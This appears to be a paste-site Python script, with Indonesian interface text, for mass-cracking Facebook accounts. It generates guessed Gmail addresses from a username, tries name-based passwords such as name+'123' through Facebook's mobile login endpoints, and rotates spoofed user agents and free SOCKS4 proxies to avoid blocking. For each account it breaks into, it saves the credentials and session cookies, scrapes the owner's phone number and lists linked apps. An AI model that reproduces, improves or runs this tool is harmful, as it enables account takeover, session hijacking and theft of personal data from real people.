- tree.add(Panel.fit(f"[yellow] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[yellow] {tahun(idf)} ",style=f"white"))
- tree.add(Panel.fit(f"[yellow]{ua}",style=f"white"))
- prints(tree)
- open('MBF-CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akune.append(idf+'|'+pw)
- ceker(idf,pw)
- cp+=1
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- #----------[ CEK-OPSI ]----------#
- def ceker(idf,pw):
- global cp
- rc = random.choice
- url = rc(["mbasic.facebook.com"])
- head = (
- {
- "Host": url,
- "cache-control": "max-age=0",
- "upgrade-insecure-requests": "1",
- "origin": "https://"+url,
- "content-type": "application/x-www-form-urlencoded",
- "user-agent": "Mozilla/5.0 (Linux; Android 10; DOOGEE B10 Build/KOTG49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Mobile Safari/537.36",
- "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
- "x-requested-with": "mark.via.gp",
- "sec-fetch-site": "same-origin",
- "sec-fetch-mode": "navigate",
- "sec-fetch-user": "?1",
- "sec-fetch-dest": "document",
- "referer": f"https://{url}/index.php?next=https%3A%2F%2Fdevelopers.facebook.com%2Ftools%2Fdebug%2Faccesstoken%2F",
- "accept-encoding": "gzip, deflate",
- "accept-language": "en-US,en;q=0.9"
- }
- )
- ses = requests.Session()
- try:
- hi = ses.get('https://'+url)
- kontol = sop(ses.post(
- 'https://'+url+'/login.php',
- data={
- 'email':idf,
- 'pass':pw,
- 'login':'submit'
- },headers=head, allow_redirects=True).text,'html.parser')
- jo = kontol.find(
- 'form'
- )
- data = {}
- lion = [
- 'nh',
- 'jazoest',
- 'fb_dtsg',
- 'submit[Continue]',
- 'checkpoint_data'
- ]
- for anj in jo('input'):
- if anj.get('name') in lion:
- data.update({anj.get('name'):anj.get('value')})
- kent = sop(ses.post('https://'+url+str(jo['action']), data=data, headers=head).text,'html.parser')
- opsi = kent.find_all('option')
- if len(opsi)==0:
- tree = Tree("")
- tree.add(Panel.fit(f"\r[green] Tapyes / A2f ( cek di mbasic ) ",style=f"white"))
- prints(tree)
- #open('CP/'+'TAPYES.txt'+,'a').write(idf+'|'+pw+'\n')
- #cp+=1
- else:
- for opsii in opsi:
- print('\r%s---> %s%s'%(kk,opsii.text,x))
- except Exception as c:
- tree = Tree("")
- tree.add(Panel.fit(f"\r[mer] Spam IP Tidak Dapat Cek Opsi Checkpoint ",style=f"white"))
- prints(tree)
- #open('MBF-CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- #cp+=1
- #-----------[ CEK-APLIKASI ]-----------#
- def cek_apk(kuki):
- session = requests.Session()
- w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",cookies={"cookie":"noscript=1;"+kuki}).text
- sop = bs4.BeautifulSoup(w,"html.parser")
- x = sop.find("form",method="post")
- game = [i.text for i in x.find_all("h3")]
- try:
- for i in range(len(game)):
- tree = Tree(Panel.fit(f"[green] APLIKASI AKTIF ",style=f"white"))
- tree.add(f"\r%s \033[0m ➛ %s%s"%(puti,hijo,game[i].replace("Ditambahkan pada"," Ditambahkan pada")))
- prints(tree)
- #print ("\r%s \033[0m ➛ %s%s"%(P,H,game[i].replace("Ditambahkan pada"," Ditambahkan pada")))
- except AttributeError:
- print ("\r %s\033[0m cookie invalid"%(mer))
- w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",cookies={"cookie":"noscript=1;"+kuki}).text
- sop = bs4.BeautifulSoup(w,"html.parser")
- x = sop.find("form",method="post")
- game = [i.text for i in x.find_all("h3")]
- try:
- for i in range(len(game)):
- tree = Tree(Panel.fit(f"[red] APLIKASI KEDALUARSA ",style=f"white"))
- tree.add("\r%s \033[0m ➛ %s"%(puti,game[i].replace("Kedaluwarsa"," Kedaluwarsa")))
- prints(tree)
- except AttributeError:
- print ("\r %s \033[0mcookie invalid"%(mer))
- #----------[ CRACK-EMAIL ]----------#
- def krek_email():
- rc = random.choice
- rr = random.randint
- xc = [" muhammad"," firman"," pratama"," tyz"," galau"," semarang"," boyolali"," cilacap"," kebumen"," banyumas"," herex"," tuban"," sumedang"," aja"," new"," baru"," setia"," sayang"," cinta"," syank kamu"," cantik"," ganteng"," imut"," kalem"," sragen"," susah sembuh"," sudah sembuh"," sakit"," wae"," sulung"," nur"," dwi"," x gans"," x jebe"," x cogan"," x id"," ganong"," situbondo"," aremania"," sunda"," garut"," cirebon"," sukabumi"," medan"," thejack"," bobotoh"," bonek"," suroboyo"," surabaya"," persebaya"," persib"," persija"," cilacap"," jepara"," solo"," official"," manis"," imut"," kalem"," utama"," sukses"," real"," semok"," kesepian"," rentcar"," makmur"," jaya"," jr"," tasik"," malang"," jogja"," mama"," ibuknya"," bundanya"," tiktok"," kece"," keren"," baru"," jutek"," saja"," putri"," andi"," dewi"," tri"," dian"," sri"," putri"," eka"," sari"," aditya"," basuki"," budi"," joni"," toni"," bekti"," cahya"," harahap"," riski"," farhan"," aden"," joko"," firman"," sulis"," soleh"," gagal"," kacau"," sulis"," rahmat"," indah"," pribadi"," saputro"," saputra"," kediri"," kudus"," jember"," situbondo"," pemalang"," wonosobo"," trenggalek"," tuban"," gresik"," bangkalan"," jombang"," kediri"," lamongan"," lumajang"," madiun"," magetan"," mojokerto"," nganjuk"," pacitan"," ngawi"," pasuruan"," ponorogo"," pamengkasan"," sidoarjo"," tuban"," blitar"," kediri"," banjarnegara"," batang"," blora"," brebes"," grobokan"," karanganyar"," kendal"," klaten"," kudus"," pati"," pekalongan"," rembang"," sragen"," tegal"," temanggung"," wonogiri"," wonosobo"," sukoharjo"," salatiga"," bandung"," ciamis"," cianjur"," cirebon"," indramayu"," majalengka"," subang"," sumedang"," purwakarta"," banjar"," bekasi"," bogor"," comahi"," depok"," tasikmalaya "]
- blk = [" muhammad"," firman"," pratama"," tyz"," galau"," semarang"," boyolali"," cilacap"," kebumen"," banyumas"," herex"," tuban"," sumedang"," aja"," new"," baru"," setia"," sayang"," cinta"," syank kamu"," cantik"," ganteng"," imut"," kalem"," sragen"," susah sembuh"," sudah sembuh"," sakit"," wae"," sulung"," nur"," dwi"," x gans"," x jebe"," x cogan"," x id"," ganong"," situbondo"," aremania"," sunda"," garut"," cirebon"," sukabumi"," medan"," thejack"," bobotoh"," bonek"," suroboyo"," surabaya"," persebaya"," persib"," persija"," cilacap"," jepara"," solo"," official"," manis"," imut"," kalem"," utama"," sukses"," real"," semok"," kesepian"," rentcar"," makmur"," jaya"," jr"," tasik"," malang"," jogja"," mama"," ibuknya"," bundanya"," tiktok"," kece"," keren"," baru"," jutek"," saja"," putri"," andi"," dewi"," tri"," dian"," sri"," putri"," eka"," sari"," aditya"," basuki"," budi"," joni"," toni"," bekti"," cahya"," harahap"," riski"," farhan"," aden"," joko"," firman"," sulis"," soleh"," gagal"," kacau"," sulis"," rahmat"," indah"," pribadi"," saputro"," saputra"," kediri"," kudus"," jember"," situbondo"," pemalang"," wonosobo"," trenggalek"," tuban"," gresik"," bangkalan"," jombang"," kediri"," lamongan"," lumajang"," madiun"," magetan"," mojokerto"," nganjuk"," pacitan"," ngawi"," pasuruan"," ponorogo"," pamengkasan"," sidoarjo"," tuban"," blitar"," kediri"," banjarnegara"," batang"," blora"," brebes"," grobokan"," karanganyar"," kendal"," klaten"," kudus"," pati"," pekalongan"," rembang"," sragen"," tegal"," temanggung"," wonogiri"," wonosobo"," sukoharjo"," salatiga"," bandung"," ciamis"," cianjur"," cirebon"," indramayu"," majalengka"," subang"," sumedang"," purwakarta"," banjar"," bekasi"," bogor"," comahi"," depok"," tasikmalaya "]
- global ok , cp
- prints(Panel(f"[white] HAY KAK SILAKAN MASUKAN SATU USERNAME DI BAWAH INI ",width=80,padding=(0,12),style=f"white"))
- nama = console.input(f'[•] USERNAME : ')
- if ',' in str(nama):
- prints(Panel(f"[white] INPUT YANG ANDA MASUKAN [red]SALAH[white] SILAKAN MASUKAN DENGAN BENAR ",width=80,padding=(0,10),style=f"white"));time.sleep(3);menu()
- prints(Panel(f"[whote] HAY KAK SILAKAN MASUKAN TOTAL TARGET EMAIL DI BAWAH INI",width=80,padding=(0,10),style=f"white"))
- jumlah = console.input(f'[•] TOTAL : ')
- for xyz in range(int(jumlah)):
- A = nama
- B = f'{str(rc(xc))}',f'{str(rr(0,999999999))}',f'{str(rc(blk))}'f'{str(rc(xc))}{str(rr(0,999999999))}',f'{xyz}',f'{str(rc(blk))}{str(rr(0,999999999))}',f'{str(rc(xc))}{str(rc(blk))}'
- C = f'@gmail.com'
- D = f'{A}{str(rc(B))}{C}'
- if D in id:pass
- else:id.append(D+'|'+nama)
- if len(dump)==999999:setting()
- prints(Panel(f"\r TOTAL AKUN : [green] "+str(len(id)),width=80,padding=(0,28),style=f"#AAAAAA"))
- time.sleep(0.0000003)
- print("\r")
- atur_idx()
- #----------[ MENU-IDZ ]----------#
- def atur_idx():
- rr = random.randint
- for khusus_random in id:
- cyxieon_id = rr(0,len(id2))
- id2.insert(cyxieon_id, khusus_random)
- user_agentx()
- #----------[ USER-AGENT ]----------#
- def user_agentx():
- prints(Panel(f"[white] HAY KAK APAKAH MAU MENAMBAHKAN USER AGENT MANUAL (y/t) ",width=80,padding=(0,10),style=f"white"))
- uatambah = input(f'[•] PILIH : ')
- if uatambah in ['y','Ya','ya','Y']:
- uadia.append('ya')
- prints(Panel(f"[white] HAY KAK SILAKAN MASUKAN USER AGENT MANUAL KAKAK ",width=80,padding=(0,12),style=f"white"))
- mantap = input(f'[•] UA TAMBAH : ')
- uamu.append(mantap)
- else:
- uadia.append('no')
- passwordx()
- #----------[ PASSWORD]----------#
- def passwordx():
- prints(Panel(f"[white] HAY KAK APAKAH MAU MENAMBAHKAN PASSWORD MANUAL (y/t) ",width=80,padding=(0,10),style=f"white"))
- passwtamb = input(f'[•] PILIH : ')
- if passwtamb in ['y','Y']:
- sandine.append('ya')
- prints(Panel(f"[white] HAY KAK SILAKAN MASUKAN PW GUNAKAN ( , ) UNTUK PEMISAH ",width=80,padding=(0,9),style=f"white"))
- sandiku = input(f'[•] MASUKAN PW : ')
- sandimu = sandiku.split(',')
- for sandixnxx in sandimu:
- sandina.append(sandixnxx)
- else:
- sandine.append('no')
- otomatisx()
- #----------[ WORDLIST ]----------#
- def otomatisx():
- global prog,des
- prints(Panel(f"[white] HAY KAK JANGAN LUPA MODE PESAWAT SETIAP 300 ID YA KAK ",width=80,padding=(0,10),style=f"white"))
- prog = Progress(TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
- des = prog.add_task('',total=len(id2))
- with prog:
- with tred(max_workers=30) as pool:
- for akun in id2:
- idf,nama = akun.split('|')[0],akun.split('|')[1].lower()
- depan = nama.split(" ")[0]
- pwx = []
- if len(nama)<=5:
- if len(depan)<=1 or len(depan)<=2:
- pass
- else:
- pwx.append(depan+"123")
- pwx.append(depan+"1234")
- pwx.append(depan+"12345")
- else:
- if len(depan)<=1 or len(depan)<=2:
- try:
- tengah = nama.split(" ")[1]
- if len(tengah)<=3:
- pass
- else:
- pwx.append(tengah+"123")
- pwx.append(tengah+"1234")
- pwx.append(tengah+"12345")
- pwx.append(nama)
- except:
- try:
- belakang = nama.split(' ')[2]
- if len(belakang)<=3:pass
- else:
- pwx.append(belakang+"123")
- pwx.append(belakang+"1234")
- pwx.append(belakang+"12345")
- pwx.append(nama)
- except:
- pwx.append(nama)
- else:
- pwx.append(nama)
- pwx.append(depan+"123")
- pwx.append(depan+"1234")
- pwx.append(depan+"12345")
- pwx.append(depan+"321")
- if '><asyinc><' in method:
- pool.submit(crack,idf,pwx,'m.facebook.com')
- else:
- pool.submit(crack,idf,pwx,'m.facebook.com')
- tree = Tree(Panel.fit(f"\r[white] Crack Telah Selesai Dengan Jumlah [green]OK : {ok}[white] Dan Jumlah [kun]CP : {cp}[white]",style=f"white"))
- tree.add(Panel.fit(f"\r[white] Apakah Ingin Lanjut Crack Kembali (y/t) ",style=f"white"))
- prints(tree)
- gas = input(f"[•] PILIH : ")
- if gas in ['y','Y','ya','YA']:
- menu()
- else:
- tree = Tree("")
- tree.add(Panel.fit(f"\r[white] Good Byee Jangan Lupa Bersyukur Dengan Hasilnya ",style=f"white"))
- prints(tree)
- time.sleep(2)
- exit()
- #----------[ MOBILE ASYINC ]----------#
- def crack(idf,pwx,url):
- global loop,ok,cp
- ses = requests.Session()
- rr = random.randint
- rc = random.choice
- emot = rc(["😝","😜","🤪"])
- prog.update(des,description=f"\r {emot} Cracking ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
- prog.advance(des)
- for pw in pwx:
- try:
- if 'ya' in uadia: ua = uamu[0]
- proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
- open('socksku.txt','w').write(proxs)
- nip = rc(proxs)
- proxs = {'http': 'socks4://'+nip}
- ua = rc(ugen)
- ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
- ref = rc([f"https://{url}/login.php?skip_api_login=1&api_key=2099441543493930&kid_directed_site=0&app_id=2099441543493930&signed_next=1&next=https%3A%2F%2F{url}%2Fv11.0%2Fdialog%2Foauth%3Fapp_id%3D2099441543493930%26cbt%3D1693466972390%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df263885d940389%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%26client_id%3D2099441543493930%26display%3Dtouch%26domain%3Daccount.hoyoverse.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252F%2523%252Flogin%253Fcb_route%253D%25252Faccount%25252FaccountInfo%26locale%3Did_ID%26logger_id%3Df24ea8b6c2199ac%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df348efd0f31f7e8%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%2526frame%253Df506dad7e5f0a4%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26sdk%3Djoey%26version%3Dv11.0%26refsrc%3Ddeprecated%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df348efd0f31f7e8%26domain%3Daccount.hoyoverse.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252Ff33e116a09cb6c8%26relation%3Dopener%26frame%3Df506dad7e5f0a4%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr"])
- link = ses.get(f"https://{url}/login.php?skip_api_login=1&api_key=2099441543493930&kid_directed_site=0&app_id=2099441543493930&signed_next=1&next=https%3A%2F%2F{url}%2Fv11.0%2Fdialog%2Foauth%3Fapp_id%3D2099441543493930%26cbt%3D1693466972390%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df263885d940389%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%26client_id%3D2099441543493930%26display%3Dtouch%26domain%3Daccount.hoyoverse.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252F%2523%252Flogin%253Fcb_route%253D%25252Faccount%25252FaccountInfo%26locale%3Did_ID%26logger_id%3Df24ea8b6c2199ac%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df348efd0f31f7e8%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%2526frame%253Df506dad7e5f0a4%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26sdk%3Djoey%26version%3Dv11.0%26refsrc%3Ddeprecated%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df348efd0f31f7e8%26domain%3Daccount.hoyoverse.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252Ff33e116a09cb6c8%26relation%3Dopener%26frame%3Df506dad7e5f0a4%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr")
- date = {'m_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),'try_number': '0','unrecognized_tries': '0','email': idf,'prefill_contact_point': '','prefill_source': '','prefill_type': '','first_prefill_source': '','first_prefill_type': '',
- 'had_cp_prefilled': 'false',
- 'had_password_prefilled': 'false',
- 'is_smart_lock': 'true',
- 'bi_xrwh': re.search('name="bi_xrwh" value="(.*?)"',str(link.text)).group(1),'pass': pw,'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
- "__dyn": "",
- "__csr": "",
- "__req": rc(["1","2","3","4","5","6","7","8","9","0"]),
- "__a": "",
- "__user": "0",
- "_fb_noscript": "true"}
- cokz = ";".join([ "%s=%s" % (key, value) for key, value in link.cookies.get_dict().items()])
- head = {"Host": url,
- "content-length": f"{len(str(date))}",
- "sec-ch-ua": f'"Not.A/Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(110,114))}", "Google Chrome";v="{str(rr(110,114))}"',
- "sec-ch-ua-mobile": "?1",
- "user-agent": ua,
- "viewport-width": f"str(rr(400,989)",
- "content-type": "application/x-www-form-urlencoded",
- "x-fb-lsd": re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
- "sec-ch-ua-platform-version": f'"{str(rr(7,14))}.0.0"',
- "x-asbd-id": "129477",
- "x-requested-with": "mark.via.gp",
- "sec-ch-ua-full-version-list": f'"Not.A/Brand";v="{str(rr(8,20))}.0.0.0", "Chromium";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}", "Google Chrome";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}"',
- "sec-ch-prefers-color-scheme": "light",
- "sec-ch-ua-platform": '"Android"',
- "accept": "*/*",
- "origin": "https://"+url,
- "sec-fetch-site": "same-origin",
- "sec-fetch-mode": "cors",
- "sec-fetch-dest": "empty",
- "referer": ref,
- "accept-encoding": "gzip, deflate, br",
- "accept-language": "zh-CN;q=0.8,zh;q=0.7",
- "x-response-format": "JSONStream"}
- links = rc([f"https://{url}/login/device-based/login/async/?api_key=2099441543493930&auth_token=ed9cb45a485f81810505130bc83f37bb&skip_api_login=1&signed_next=1&next=https%3A%2F%2F{url}%2Fv11.0%2Fdialog%2Foauth%3Fapp_id%3D2099441543493930%26cbt%3D1693466972390%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df263885d940389%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%26client_id%3D2099441543493930%26display%3Dtouch%26domain%3Daccount.hoyoverse.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252F%2523%252Flogin%253Fcb_route%253D%25252Faccount%25252FaccountInfo%26locale%3Did_ID%26logger_id%3Df24ea8b6c2199ac%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df348efd0f31f7e8%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%2526frame%253Df506dad7e5f0a4%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26sdk%3Djoey%26version%3Dv11.0%26refsrc%3Ddeprecated%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&refsrc=deprecated&app_id=2099441543493930&cancel=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df348efd0f31f7e8%26domain%3Daccount.hoyoverse.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252Ff33e116a09cb6c8%26relation%3Dopener%26frame%3Df506dad7e5f0a4%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&lwv=100"])
- po = ses.post(links,headers=head,data=date,cookies={"cookie":cokz},allow_redirects=False,proxies=proxs)
- if "datr" in ses.cookies.get_dict().keys():
- if 'no' in taplikasi:
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- #cooz = ses.cookies.get_dict()
- #kuki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
- tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
- tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green] {tahun(idf)} ",style=f"white"))
- tree.add(Panel.fit(f"[green]{kuki}",style=f"white"))
- tree.add(Panel.fit(f"[green]{ua}",style=f"white"))
- prints(tree)
- open('MBF-OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
- break
- elif 'ya' in taplikasi:
- ses = requests.Session()
- head_pro = {'user-agent': 'SupportsFresco=1 Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Build/MMB29Q) Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'}
- kon = 'https://mbasic.facebook.com/profile.php?v=info'
- req = ses.get(kon,headers = head_pro, cookies = kuki).text
- try:
- cari_nomor = re.search('>08(.*?)-(.*?)-(.*?)</span>',str(req)).groups(1)
- nomor = '08{}{}{}'.format(cari_nomor[0],cari_nomor[1],cari_nomor[2])
- except:
- nomor = '-'
- ok+=1
- coki = po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- #cooz = ses.cookies.get_dict()
- #kuki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
- tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
- tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green] {tahun(idf)} ",style=f"white"))
- tree.add(Panel.fit(f"[green] EMAIL : (_) ",style=f"white"))
- tree.add(Panel.fit(f"[green] NOMOR : ( {cari_nomor} ) ",style=f"white"))
- tree.add(Panel.fit(f"[green]{kuki}",style=f"white"))
- tree.add(Panel.fit(f"[green]{ua}",style=f"white"))
- prints(tree)
- open('MBF-OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
- cek_apk(kuki)
- break
- elif "checkpoint" in po.cookies.get_dict().keys():
- tree = Tree(Panel.fit(f"[yellow] LOGIN CHECKPOINT ",style=f"white"))
- tree.add(Panel.fit(f"[yellow] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[yellow] {tahun(idf)} ",style=f"white"))
- tree.add(Panel.fit(f"[yellow]{ua}",style=f"white"))
- prints(tree)
- open('MBF-CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akune.append(idf+'|'+pw)
- ceker(idf,pw)
- cp+=1
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- #----------[ SYSTEM-CONTROL ]----------#
- if __name__=='__main__':
- try:os.system('git pull')
- except:pass
- try:os.mkdir('MBF-DUMP')
- except:pass
- try:os.mkdir('MBF-OK')
- except:pass
- try:os.mkdir('MBF-CP')
- except:pass
- menu()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement